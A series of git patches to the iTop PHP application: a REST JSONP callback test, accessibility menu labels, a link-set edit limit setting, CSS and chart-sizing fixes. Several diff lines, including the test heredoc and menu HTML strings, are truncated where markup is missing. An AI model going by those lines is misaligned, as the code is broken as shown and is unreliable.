charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/webservices/RestTest.php | 30 +++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php index 658b5dfab..bfb980cb7 100644 --- a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php +++ b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php @@ -27,7 +27,7 @@ class RestTest extends ItopDataTestCase private $sTmpFile = ""; /** @var int $iJsonDataMode */ - private $iJsonDataMode; + private $iJsonDataMode = self::ENUM_JSONDATA_AS_STRING; private $sUrl; private $sLogin; private $sPassword = "Iuytrez9876543ç_è-("; @@ -57,6 +57,28 @@ class RestTest extends ItopDataTestCase } } + public function testJSONPCallback() + { + $sCallbackName = 'fooCallback'; + $sJsonData = <<CallRestApi($sJsonData); + // - Try to decode JSON to array to check if it is well-formed + $aJSONResultAsArray = json_decode($sJSONResult, true); + if (false === is_array($aJSONResultAsArray)) { + $this->fail('JSON result could not be decoded as array, it might be malformed'); + } + + // Test JSONP with callback by checking that it is the same as the regular JSON but within the JS callback + $sJSONPResult = $this->CallRestApi($sJsonData, $sCallbackName); + $this->assertEquals($sCallbackName.'('.$sJSONResult.')', $sJSONPResult, 'JSONP response callback does not match expected result'); + } + /** * @dataProvider BasicProvider * @param int $iJsonDataMode @@ -250,7 +272,7 @@ JSON; } - private function CallRestApi($sJsonDataContent){ + private function CallRestApi(string $sJsonDataContent, string $sCallbackName = null){ $ch = curl_init(); $aPostFields = [ 'version' => '1.3', @@ -268,6 +290,10 @@ JSON; $aPostFields['json_data'] = $sJsonDataContent; } + if (utils::IsNotNullOrEmptyString($sCallbackName)) { + $aPostFields['callback'] = $sCallbackName; + } + curl_setopt($ch, CURLOPT_URL, "$this->sUrl/webservices/rest.php"); curl_setopt($ch, CURLOPT_POST, 1);// set post data to true curl_setopt($ch, CURLOPT_POSTFIELDS, $aPostFields); From fbd72b2783a04a1749aba8476925c3071903205a Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 20 Apr 2023 11:03:43 +0200 Subject: [PATCH 210/230] =?UTF-8?q?N=C2=B06217=20-=20Add=20accessiblity=20?= =?UTF-8?q?meta=20data=20for=20title=20on=20"Power=20menu"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/itopwebpage.class.inc.php | 2 +- dictionaries/en.dictionary.itop.ui.php | 1 + dictionaries/fr.dictionary.itop.ui.php | 1 + 3 files changed, 3 insertions(+), 1 deletion(-) diff --git a/application/itopwebpage.class.inc.php b/application/itopwebpage.class.inc.php index 1fdd9e647..02024b345 100644 --- a/application/itopwebpage.class.inc.php +++ b/application/itopwebpage.class.inc.php @@ -1219,7 +1219,7 @@ EOF; { $sLogonMessage = Dict::Format('UI:LoggedAsMessage', $sUserName); } - $sLogOffMenu = "
    • "; + $sLogOffMenu = "
        • "; $sLogOffMenu .= "
        • $sLogonMessage
        • \n"; $aActions = array(); diff --git a/dictionaries/en.dictionary.itop.ui.php b/dictionaries/en.dictionary.itop.ui.php index e870ca93c..4c4917b4f 100644 --- a/dictionaries/en.dictionary.itop.ui.php +++ b/dictionaries/en.dictionary.itop.ui.php @@ -560,6 +560,7 @@ Dict::Add('EN US', 'English', 'English', array( 'UI:Login:NewPasswordPrompt' => 'New password', 'UI:Login:RetypeNewPasswordPrompt' => 'Retype new password', 'UI:Login:IncorrectOldPassword' => 'Error: the old password is incorrect', + 'UI:PowerMenu' => 'Open user menu', 'UI:LogOffMenu' => 'Log off', 'UI:LogOff:ThankYou' => 'Thank you for using '.ITOP_APPLICATION, 'UI:LogOff:ClickHereToLoginAgain' => 'Click here to login again...', diff --git a/dictionaries/fr.dictionary.itop.ui.php b/dictionaries/fr.dictionary.itop.ui.php index 71d6e5939..f4e5abfcb 100644 --- a/dictionaries/fr.dictionary.itop.ui.php +++ b/dictionaries/fr.dictionary.itop.ui.php @@ -543,6 +543,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'UI:Login:NewPasswordPrompt' => 'Nouveau mot de passe', 'UI:Login:RetypeNewPasswordPrompt' => 'Resaisir le nouveau mot de passe', 'UI:Login:IncorrectOldPassword' => 'Erreur: l\'ancien mot de passe est incorrect', + 'UI:PowerMenu' => 'Ouvre le menu utilisateur', 'UI:LogOffMenu' => 'Déconnexion', 'UI:LogOff:ThankYou' => 'Merci d\'avoir utilisé iTop', 'UI:LogOff:ClickHereToLoginAgain' => 'Cliquez ici pour vous reconnecter...', From 46e869d1f4186ec9f5f5a5e6a7e2f72ecd70574c Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 20 Apr 2023 12:22:12 +0200 Subject: [PATCH 211/230] =?UTF-8?q?N=C2=B06124=20-=20Workaround=20performa?= =?UTF-8?q?nce=20problem=20on=20the=20modification=20of=20an=20object=20wi?= =?UTF-8?q?th=20an=20n:n=20relation=20having=20a=20large=20volume?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/ui.linkswidget.class.inc.php | 71 +++++++++++++++++------- core/config.class.inc.php | 8 +++ 2 files changed, 59 insertions(+), 20 deletions(-) diff --git a/application/ui.linkswidget.class.inc.php b/application/ui.linkswidget.class.inc.php index 1f4e63da5..e2bf70609 100644 --- a/application/ui.linkswidget.class.inc.php +++ b/application/ui.linkswidget.class.inc.php @@ -100,15 +100,18 @@ class UILinksWidget * @param array $aArgs Extra context arguments * @param DBObject $oCurrentObj The object to which all the elements of the linked set refer to * @param int $iUniqueId A unique identifier of new links - * @param boolean $bReadOnly Display link as editable or read-only. Default is false (editable) + * @param bool $bReadOnly Display link as editable or read-only. Default is false (editable) + * @param bool $bAllowRemoteExtKeyEdit If true, the ext. key to the remote object can be edited, otherwise it will be read-only * * @return array The HTML fragment of the one-row form * @throws \ArchivedObjectException * @throws \CoreException * @throws \CoreUnexpectedValue * @throws \Exception + * + * @since 3.1.0 3.0.4 3.0.3-1 N°6124 - Workaround performance problem on the modification of an object with an n:n relation having a large volume */ - protected function GetFormRow(WebPage $oP, DBObject $oLinkedObj, $linkObjOrId, $aArgs, $oCurrentObj, $iUniqueId, $bReadOnly = false) + protected function GetFormRow(WebPage $oP, DBObject $oLinkedObj, $linkObjOrId, $aArgs, $oCurrentObj, $iUniqueId, $bReadOnly = false, $bAllowRemoteExtKeyEdit = true) { $sPrefix = "$this->m_sAttCode{$this->m_sNameSuffix}"; $aRow = array(); @@ -139,8 +142,11 @@ class UILinksWidget $aRow['form::checkbox'] = "m_iInputId.".OnSelectChange();\" value=\"$iKey\">"; foreach ($this->m_aEditableFields as $sFieldCode) { + // N°6124 - Force remote ext. key as read-only if too many items in the linkset + $bReadOnlyField = ($sFieldCode === $this->m_sExtKeyToRemote) && (false === $bAllowRemoteExtKeyEdit); + $sSafeFieldId = $this->GetFieldId($linkObjOrId->GetKey(), $sFieldCode); - $this->AddRowForFieldCode($aRow, $sFieldCode, $aArgs, $linkObjOrId, $oP, $sNameSuffix, $sSafeFieldId); + $this->AddRowForFieldCode($aRow, $sFieldCode, $aArgs, $linkObjOrId, $oP, $sNameSuffix, $sSafeFieldId, $bReadOnlyField); $aFieldsMap[$sFieldCode] = $sSafeFieldId; } } @@ -255,11 +261,24 @@ JS return $aRow; } - private function AddRowForFieldCode(&$aRow, $sFieldCode, &$aArgs, $oLnk, $oP, $sNameSuffix, $sSafeFieldId): void + /** + * @param $aRow + * @param $sFieldCode + * @param $aArgs + * @param $oLnk + * @param $oP + * @param $sNameSuffix + * @param $sSafeFieldId + * @param bool $bReadOnlyField If true, the field will be read-only, otherwise it can be edited + * + * @return void + * @since 3.1.0 3.0.4 3.0.3-1 N°6124 - Workaround performance problem on the modification of an object with an n:n relation having a large volume + */ + private function AddRowForFieldCode(&$aRow, $sFieldCode, &$aArgs, $oLnk, $oP, $sNameSuffix, $sSafeFieldId, $bReadOnlyField = false): void { if (($sFieldCode === $this->m_sExtKeyToRemote)) { - // current field is the lnk extkey to the remote class + // Current field is the lnk extkey to the remote class $aArgs['replaceDependenciesByRemoteClassFields'] = true; $sRowFieldCode = 'static::key'; $aArgs['wizHelperRemote'] = $aArgs['wizHelper'].'_remote'; @@ -281,20 +300,31 @@ JS $sDisplayValue = $oLnk->GetEditValue($sFieldCode); $oAttDef = MetaModel::GetAttributeDef($this->m_sLinkedClass, $sFieldCode); - $aRow[$sRowFieldCode] = '
          ' - .cmdbAbstractObject::GetFormElementForField( - $oP, - $this->m_sLinkedClass, - $sFieldCode, - $oAttDef, - $sValue, - $sDisplayValue, - $sSafeFieldId, - $sNameSuffix, - 0, - $aArgs - ) - .'
          '; + if ($bReadOnlyField) { + $sFieldForHtml = $sDisplayValue; + } else { + $sFieldForHtml = cmdbAbstractObject::GetFormElementForField( + $oP, + $this->m_sLinkedClass, + $sFieldCode, + $oAttDef, + $sValue, + $sDisplayValue, + $sSafeFieldId, + $sNameSuffix, + 0, + $aArgs + ); + } + + $aRow[$sRowFieldCode] = << +
          +
          $sFieldForHtml
          +
          +
+HTML + ; } private function GetFieldId($iLnkId, $sFieldCode, $bSafe = true) @@ -374,6 +404,7 @@ JS $oBlock->sRemoteClass = $this->m_sRemoteClass; $oValue->Rewind(); + $bAllowRemoteExtKeyEdit = $oValue->Count() <= utils::GetConfig()->Get('link_set_max_edit_ext_key'); $aForm = array(); $iMaxAddedId = 0; $iAddedId = -1; // Unique id for new links @@ -398,7 +429,7 @@ JS } $iMaxAddedId = max($iMaxAddedId, $key); - $aForm[$key] = $this->GetFormRow($oPage, $oLinkedObj, $oCurrentLink, $aArgs, $oCurrentObj, $key, $bReadOnly); + $aForm[$key] = $this->GetFormRow($oPage, $oLinkedObj, $oCurrentLink, $aArgs, $oCurrentObj, $key, $bReadOnly, $bAllowRemoteExtKeyEdit); } $oBlock->iMaxAddedId = (int) $iMaxAddedId; diff --git a/core/config.class.inc.php b/core/config.class.inc.php index 2894cf4a6..13e1c33d8 100644 --- a/core/config.class.inc.php +++ b/core/config.class.inc.php @@ -480,6 +480,14 @@ class Config 'source_of_value' => '', 'show_in_conf_sample' => true, ], + 'link_set_max_edit_ext_key' => [ + 'type' => 'integer', + 'description' => 'Maximum number of items in the link that allow editing the remote external key. Above that limit, remote external key cannot be edited. Mind that setting this limit too high can have a negative impact on performances.', + 'default' => 50, + 'value' => 50, + 'source_of_value' => '', + 'show_in_conf_sample' => true, + ], 'tag_set_item_separator' => [ 'type' => 'string', 'description' => 'Tag set from string: tag label separator', From cfe227e0c7f98a695fb1156844d88d415a4f6952 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Thu, 20 Apr 2023 15:28:20 +0200 Subject: [PATCH 212/230] =?UTF-8?q?N=C2=B06216=20-=20Fix=20line-height=20b?= =?UTF-8?q?eing=20too=20big=20in=20the=20attachments=20table?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- css/backoffice/pages/_attachments.scss | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/css/backoffice/pages/_attachments.scss b/css/backoffice/pages/_attachments.scss index 3188f2950..6427e0b97 100644 --- a/css/backoffice/pages/_attachments.scss +++ b/css/backoffice/pages/_attachments.scss @@ -6,10 +6,6 @@ $ibo-attachment--datatable--icon-preview--max-height: 44px !default; $ibo-attachment--datatable--icon-preview--max-width: $ibo-attachment--datatable--icon-preview--max-height !default; -$ibo-attachment--datatable--line-height: $ibo-attachment--datatable--icon-preview--max-height !default; - -$ibo-attachment--datatable--first-column--line-height: 0px !default; - $ibo-attachment--drag-in--border: 2px $ibo-color-grey-400 dashed !default; $ibo-attachment--upload-file--drop-zone-hint--max-height: 200px !default; $ibo-attachment--upload-file--drop-zone-hint--margin: 22px $ibo-spacing-0 !default; @@ -33,10 +29,7 @@ $ibo-attachment--tab-header--drop-in--icon--color: $ibo-color-blue-600 !default; max-width: $ibo-attachment--datatable--icon-preview--max-width; } .ibo-attachment--datatable tbody tr td { - line-height: $ibo-attachment--datatable--line-height; -} -.ibo-attachment--datatable tbody tr td:nth-child(1){ - line-height: $ibo-attachment--datatable--first-column--line-height; + vertical-align: middle; } .ibo-attachment--upload-file--drop-zone-hint{ From 740ff8c64994b12db8c816cb6c327cf50ede031a Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Fri, 21 Apr 2023 14:58:00 +0200 Subject: [PATCH 213/230] :bulb: DeprecatedCallsLog phpdoc --- core/log.class.inc.php | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index e2fad3c07..9c9fbc396 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -1021,7 +1021,14 @@ class DeadLockLog extends LogAPI /** - * @since 3.0.0 N°3731 + * Starting with the WARNING level we will log in a dedicated file (/log/deprecated-calls.log) : + * - iTop deprecated files or code + * - protected trigger_error calls with E_DEPRECATED or E_USER_DEPRECATED + * + * For the last category, if {@see utils::IsDevelopmentEnvironment()} is true we will do a trigger_error() + * + * @since 3.0.0 N°3731 first implementation + * @link https://www.itophub.io/wiki/page?id=latest:admin:log:channels#deprecated_calls channel used */ class DeprecatedCallsLog extends LogAPI { From f839638e0bddf2042846e1cd6e934bdb3040917e Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 21 Apr 2023 16:12:37 +0200 Subject: [PATCH 214/230] =?UTF-8?q?N=C2=B06188=20-=20Creation=20cancellati?= =?UTF-8?q?on=20in=20pop-up=20while=20in=20edition=20of=20parent=20object?= =?UTF-8?q?=20wrongfully=20returns=20to=20object=20list?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/cmdbabstract.class.inc.php | 11 ++++++++++- application/ui.linksdirectwidget.class.inc.php | 18 +++++++++++++++++- 2 files changed, 27 insertions(+), 2 deletions(-) diff --git a/application/cmdbabstract.class.inc.php b/application/cmdbabstract.class.inc.php index 7193a4f2a..f1d0154c5 100644 --- a/application/cmdbabstract.class.inc.php +++ b/application/cmdbabstract.class.inc.php @@ -3054,7 +3054,16 @@ EOF // Hook the cancel button via jQuery so that it can be unhooked easily as well if needed $sDefaultUrl = utils::GetAbsoluteUrlAppRoot().'pages/UI.php?operation=search_form&class='.$sClass.'&'.$oAppContext->GetForLink(); - $oPage->add_ready_script("$('#form_{$this->m_iFormId} button.cancel').on('click', function() { BackToDetails('$sClass', $iKey, '$sDefaultUrl', $sJSToken)} );"); + + $sCancelButtonOnClickScript = "let fOnClick{$this->m_iFormId}CancelButton = "; + if(isset($aExtraParams['js_handlers']['cancel_button_on_click'])){ + $sCancelButtonOnClickScript .= $aExtraParams['js_handlers']['cancel_button_on_click']; + } else { + $sCancelButtonOnClickScript .= "function() { BackToDetails('$sClass', $iKey, '$sDefaultUrl', $sJSToken)};"; + } + $sCancelButtonOnClickScript .= "$('#form_{$this->m_iFormId} button.cancel').on('click', fOnClick{$this->m_iFormId}CancelButton);"; + $oPage->add_ready_script($sCancelButtonOnClickScript); + $iFieldsCount = count($aFieldsMap); $sJsonFieldsMap = json_encode($aFieldsMap); diff --git a/application/ui.linksdirectwidget.class.inc.php b/application/ui.linksdirectwidget.class.inc.php index 1a750e327..cdefbeba8 100644 --- a/application/ui.linksdirectwidget.class.inc.php +++ b/application/ui.linksdirectwidget.class.inc.php @@ -211,7 +211,23 @@ class UILinksWidgetDirect $oObj = DBObject::MakeDefaultInstance($sRealClass); $aPrefillParam = array('source_obj' => $oSourceObj); $oObj->PrefillForm('creation_from_editinplace', $aPrefillParam); - cmdbAbstractObject::DisplayCreationForm($oPage, $sRealClass, $oObj, array(), array('formPrefix' => $this->sInputid, 'noRelations' => true, 'fieldsFlags' => $aFieldFlags)); + $aFormExtraParams = array( + 'formPrefix' => $this->sInputid, + 'noRelations' => true, + 'fieldsFlags' => $aFieldFlags, + 'js_handlers' => [ + 'cancel_button_on_click' => + << Date: Mon, 24 Apr 2023 14:15:00 +0200 Subject: [PATCH 215/230] =?UTF-8?q?N=C2=B0541=20-=20Dashlets:=20Improve=20?= =?UTF-8?q?readability=20when=20to=20much=20labels=20(pie=20chart)=20or=20?= =?UTF-8?q?too=20long=20labels=20(bar=20chart)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/displayblock.class.inc.php | 24 +++++++++++++------ .../BlockChartAjaxBars/BlockChartAjaxBars.php | 4 +++- .../BlockChartAjaxPie/BlockChartAjaxPie.php | 4 +++- .../block-chart-ajax-bars/layout.js.twig | 6 +++++ .../block-chart-ajax-pie/layout.js.twig | 20 +++++++++++----- 5 files changed, 43 insertions(+), 15 deletions(-) diff --git a/application/displayblock.class.inc.php b/application/displayblock.class.inc.php index c44f2319f..e5274ad6e 100644 --- a/application/displayblock.class.inc.php +++ b/application/displayblock.class.inc.php @@ -1611,7 +1611,6 @@ JS $iTotalCount = 0; $aURLs = array(); - $iMaxNbCharsInLabel = 0; foreach ($aRes as $iRow => $aRow) { $sValue = $aRow['grouped_by_1']; @@ -1623,9 +1622,6 @@ JS 'value' => (float)$aRow[$sFctVar], ); - if ($iMaxNbCharsInLabel < mb_strlen($sValue)) { - $iMaxNbCharsInLabel = mb_strlen($sValue); - } // Build the search for this subset $oSubsetSearch = $this->m_oFilter->DeepClone(); @@ -1643,9 +1639,13 @@ JS switch ($sChartType) { case 'bars': - $aNames = array(); + $iMaxNbCharsInLabel = 0; + $aNames = []; foreach ($aValues as $idx => $aValue) { $aNames[$idx] = $aValue['label']; + if ($iMaxNbCharsInLabel < mb_strlen($aValue['label'])) { + $iMaxNbCharsInLabel = mb_strlen($aValue['label']); + } } $oBlock = new BlockChartAjaxBars(); $oBlock->sJSNames = json_encode($aNames); @@ -1653,21 +1653,31 @@ JS $oBlock->sId = $sId; $oBlock->sJSURLs = $sJSURLs; $oBlock->sURLForRefresh = str_replace("'", "\'", $sUrl); + $oBlock->iMaxNbCharsInLabel = $iMaxNbCharsInLabel; break; case 'pie': - $aColumns = array(); - $aNames = array(); + $aColumns = []; + $aNames = []; foreach ($aValues as $idx => $aValue) { $aColumns[] = array('series_'.$idx, (float)$aValue['value']); $aNames['series_'.$idx] = $aValue['label']; } + + $iNbLinesToAddForName = 0; + if (count($aNames) > 50) { + // Calculation of the number of legends line add to the height of the graph to have a maximum of 5 legend columns + $iNbLinesIncludedInChartHeight = 10; + $iNbLinesToAddForName = ceil(count($aNames) / 5) - $iNbLinesIncludedInChartHeight; + } + $oBlock = new BlockChartAjaxPie(); $oBlock->sJSColumns = json_encode($aColumns); $oBlock->sJSNames = json_encode($aNames); $oBlock->sId = $sId; $oBlock->sJSURLs = $sJSURLs; $oBlock->sURLForRefresh = str_replace("'", "\'", $sUrl); + $oBlock->iNbLinesToAddForName = $iNbLinesToAddForName; break; } if (isset($aExtraParams["surround_with_panel"]) && $aExtraParams["surround_with_panel"]) { diff --git a/sources/application/UI/DisplayBlock/BlockChartAjaxBars/BlockChartAjaxBars.php b/sources/application/UI/DisplayBlock/BlockChartAjaxBars/BlockChartAjaxBars.php index c1f5aa818..83464844e 100644 --- a/sources/application/UI/DisplayBlock/BlockChartAjaxBars/BlockChartAjaxBars.php +++ b/sources/application/UI/DisplayBlock/BlockChartAjaxBars/BlockChartAjaxBars.php @@ -28,7 +28,9 @@ class BlockChartAjaxBars extends UIBlock public $sId; /** @var string */ public $sJSURLs; - + /** @var string */ public $sURLForRefresh; + /** @var int */ + public $iMaxNbCharsInLabel; } \ No newline at end of file diff --git a/sources/application/UI/DisplayBlock/BlockChartAjaxPie/BlockChartAjaxPie.php b/sources/application/UI/DisplayBlock/BlockChartAjaxPie/BlockChartAjaxPie.php index 131c3492e..5b0bd411f 100644 --- a/sources/application/UI/DisplayBlock/BlockChartAjaxPie/BlockChartAjaxPie.php +++ b/sources/application/UI/DisplayBlock/BlockChartAjaxPie/BlockChartAjaxPie.php @@ -28,6 +28,8 @@ class BlockChartAjaxPie extends UIBlock public $sJSURLs; /** @var string */ public $sJSNames; - + /** @var string */ public $sURLForRefresh; + /** @var int */ + public $iNbLinesToAddForName; } \ No newline at end of file diff --git a/templates/application/display-block/block-chart-ajax-bars/layout.js.twig b/templates/application/display-block/block-chart-ajax-bars/layout.js.twig index 393febe19..8144a5407 100644 --- a/templates/application/display-block/block-chart-ajax-bars/layout.js.twig +++ b/templates/application/display-block/block-chart-ajax-bars/layout.js.twig @@ -1,5 +1,11 @@ {# @copyright Copyright (C) 2010-2021 Combodo SARL #} {# @license http://opensource.org/licenses/AGPL-3.0 #} + +var iChartDefaultHeight = 200, + iChartLegendHeight = 6 * {{ oUIBlock.iMaxNbCharsInLabel }}, + iChartTotalHeight = iChartDefaultHeight+iChartLegendHeight; +$('#my_chart_{{ oUIBlock.sId }}').height(iChartTotalHeight+'px'); + var chart = c3.generate({ bindto: d3.select('#my_chart_{{ oUIBlock.sId }}'), data: { diff --git a/templates/application/display-block/block-chart-ajax-pie/layout.js.twig b/templates/application/display-block/block-chart-ajax-pie/layout.js.twig index 7fe2cadf0..cbe1902ca 100644 --- a/templates/application/display-block/block-chart-ajax-pie/layout.js.twig +++ b/templates/application/display-block/block-chart-ajax-pie/layout.js.twig @@ -1,6 +1,12 @@ {# @copyright Copyright (C) 2010-2021 Combodo SARL #} {# @license http://opensource.org/licenses/AGPL-3.0 #} +// Calculate height of graph : 200px (minimum height for the chart) + 20*iNbLinesToAddForName for the legend +var iChartDefaultHeight = 200, + iChartLegendHeight = 20 * {{ oUIBlock.iNbLinesToAddForName }} , + iChartTotalHeight = (iChartDefaultHeight+iChartLegendHeight); +$('#my_chart_{{ oUIBlock.sId }}').height(iChartTotalHeight+'px'); + var chart = c3.generate({ bindto: d3.select('#my_chart_{{ oUIBlock.sId }}'), data: { @@ -9,7 +15,7 @@ var chart = c3.generate({ names: {{ oUIBlock.sJSNames|raw }}, onclick: function (d) { var aURLs = {{ oUIBlock.sJSURLs|raw }}; - window.location.href= aURLs[d.index]; + window.location.href = aURLs[d.index]; }, order: null }, @@ -19,17 +25,19 @@ var chart = c3.generate({ }, tooltip: { format: { - value: function (value) { return value; } + value: function (value) { + return value; + } } - } + }, }); -if (typeof(charts) === "undefined") +if (typeof (charts) === "undefined") { charts = []; - refreshChart = []; + refreshChart = []; } -var idxChart=charts.length; +var idxChart = charts.length; charts.push(chart); var refreshChart{{ oUIBlock.sId|sanitize(constant('utils::ENUM_SANITIZATION_FILTER_VARIABLE_NAME')) }}=' $.post("{{ oUIBlock.sURLForRefresh|raw }}&refresh='+idxChart+'","", function (data) {'+ 'charts['+idxChart+'].unload();'+ From 3c94974d9dd70d5c6d22d05451a3b9b8ee8ed32f Mon Sep 17 00:00:00 2001 From: acognet Date: Tue, 25 Apr 2023 12:09:11 +0200 Subject: [PATCH 216/230] =?UTF-8?q?N=C2=B0541=20-=20Dashlets:=20Improve=20?= =?UTF-8?q?readability=20when=20to=20much=20labels=20(pie=20chart)=20or=20?= =?UTF-8?q?too=20long=20labels=20(bar=20chart)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/displayblock.class.inc.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/application/displayblock.class.inc.php b/application/displayblock.class.inc.php index 1fff40f1f..918060846 100644 --- a/application/displayblock.class.inc.php +++ b/application/displayblock.class.inc.php @@ -1009,7 +1009,6 @@ EOF $iTotalCount = 0; $aValues = array(); $aURLs = array(); - $iMaxNbCharsInLabel = 0; foreach ($aRes as $iRow => $aRow) { @@ -1019,9 +1018,6 @@ EOF $iTotalCount += $aRow['_itop_count_']; $aValues[] = array('label' => html_entity_decode(strip_tags($sHtmlValue), ENT_QUOTES, 'UTF-8'), 'label_html' => $sHtmlValue, 'value' => (int) $aRow[$sFctVar]); - if ($iMaxNbCharsInLabel < mb_strlen($sValue)) { - $iMaxNbCharsInLabel = mb_strlen($sValue); - } // Build the search for this subset $oSubsetSearch = $this->m_oFilter->DeepClone(); @@ -1036,9 +1032,13 @@ EOF { case 'bars': $aNames = array(); + $iMaxNbCharsInLabel = 0; foreach($aValues as $idx => $aValue) { $aNames[$idx] = $aValue['label']; + if ($iMaxNbCharsInLabel < mb_strlen($aValue['label'])) { + $iMaxNbCharsInLabel = mb_strlen($aValue['label']); + } } $sJSNames = json_encode($aNames); From 9d3e389011b9667a2c498b73eceedba377849053 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 25 Apr 2023 17:43:51 +0200 Subject: [PATCH 217/230] =?UTF-8?q?N=C2=B06124=20-=20Workaround=20performa?= =?UTF-8?q?nce=20problem=20on=20adding=20items=20to=20an=20object=20with?= =?UTF-8?q?=20an=20n:n=20relation=20having=20a=20large=20volume?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/ui.linkswidget.class.inc.php | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/application/ui.linkswidget.class.inc.php b/application/ui.linkswidget.class.inc.php index e2bf70609..ba32c0fd3 100644 --- a/application/ui.linkswidget.class.inc.php +++ b/application/ui.linkswidget.class.inc.php @@ -207,8 +207,11 @@ EOF foreach($this->m_aEditableFields as $sFieldCode) { + // N°6124 - Force remote ext. key as read-only if too many items in the linkset + $bReadOnlyField = ($sFieldCode === $this->m_sExtKeyToRemote) && (false === $bAllowRemoteExtKeyEdit); + $sSafeFieldId = $this->GetFieldId($iUniqueId, $sFieldCode); - $this->AddRowForFieldCode($aRow, $sFieldCode, $aArgs, $oNewLinkObj, $oP, $sNameSuffix, $sSafeFieldId); + $this->AddRowForFieldCode($aRow, $sFieldCode, $aArgs, $oNewLinkObj, $oP, $sNameSuffix, $sSafeFieldId, $bReadOnlyField); $aFieldsMap[$sFieldCode] = $sSafeFieldId; $sValue = $oNewLinkObj->Get($sFieldCode); @@ -602,10 +605,11 @@ JS $aLinkedObjectIds = utils::ReadMultipleSelection($oFullSetFilter); $iAdditionId = $iMaxAddedId + 1; + $bAllowRemoteExtKeyEdit = count($aLinkedObjectIds) <= utils::GetConfig()->Get('link_set_max_edit_ext_key'); foreach ($aLinkedObjectIds as $iObjectId) { $oLinkedObj = MetaModel::GetObject($this->m_sRemoteClass, $iObjectId, false); if (is_object($oLinkedObj)) { - $aRow = $this->GetFormRow($oP, $oLinkedObj, $iObjectId, array(), $oCurrentObj, $iAdditionId); // Not yet created link get negative Ids + $aRow = $this->GetFormRow($oP, $oLinkedObj, $iObjectId, array(), $oCurrentObj, $iAdditionId, false /* Default value */, $bAllowRemoteExtKeyEdit); // Not yet created link get negative Ids $aData = []; foreach ($aRow as $item) { $aData[] = $item; From 4aff65f98bce88e7de35c3af3ef657f2561ead9a Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 25 Apr 2023 21:51:15 +0200 Subject: [PATCH 218/230] =?UTF-8?q?N=C2=B06217=20-=20Add=20accessiblity=20?= =?UTF-8?q?meta=20data=20for=20title=20on=20"Power=20menu"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/datatable.class.inc.php | 2 +- application/displayblock.class.inc.php | 6 ++++-- dictionaries/en.dictionary.itop.ui.php | 1 + dictionaries/fr.dictionary.itop.ui.php | 1 + 4 files changed, 7 insertions(+), 3 deletions(-) diff --git a/application/datatable.class.inc.php b/application/datatable.class.inc.php index adbeaecae..81fbb2b96 100644 --- a/application/datatable.class.inc.php +++ b/application/datatable.class.inc.php @@ -372,7 +372,7 @@ EOF; if (!$oPage->IsPrintableVersion()) { $sMenuTitle = Dict::S('UI:ConfigureThisList'); - $sHtml = '
    • '; + $sHtml = '
        • '; $oMenuItem1 = new JSPopupMenuItem('iTop::ConfigureList', $sMenuTitle, "$('#datatable_dlg_".$this->iListId."').dialog('open');"); $aActions = array( diff --git a/application/displayblock.class.inc.php b/application/displayblock.class.inc.php index 918060846..610663100 100644 --- a/application/displayblock.class.inc.php +++ b/application/displayblock.class.inc.php @@ -1935,11 +1935,13 @@ class MenuBlock extends DisplayBlock { if (count($aFavoriteActions) > 0) { - $sHtml .= "
            \n
          • ".Dict::S('UI:Menu:OtherActions').""."\n
              \n"; + $sActionsMenuLabel = Dict::S('UI:Menu:OtherActions'); + $sHtml .= "
                \n
              • {$sActionsMenuLabel}"."\n
                  \n"; } else { - $sHtml .= "
                    \n
                  • ".Dict::S('UI:Menu:Actions').""."\n
                      \n"; + $sActionsMenuLabel = Dict::S('UI:Menu:Actions'); + $sHtml .= "
                        \n
                      • {$sActionsMenuLabel}"."\n
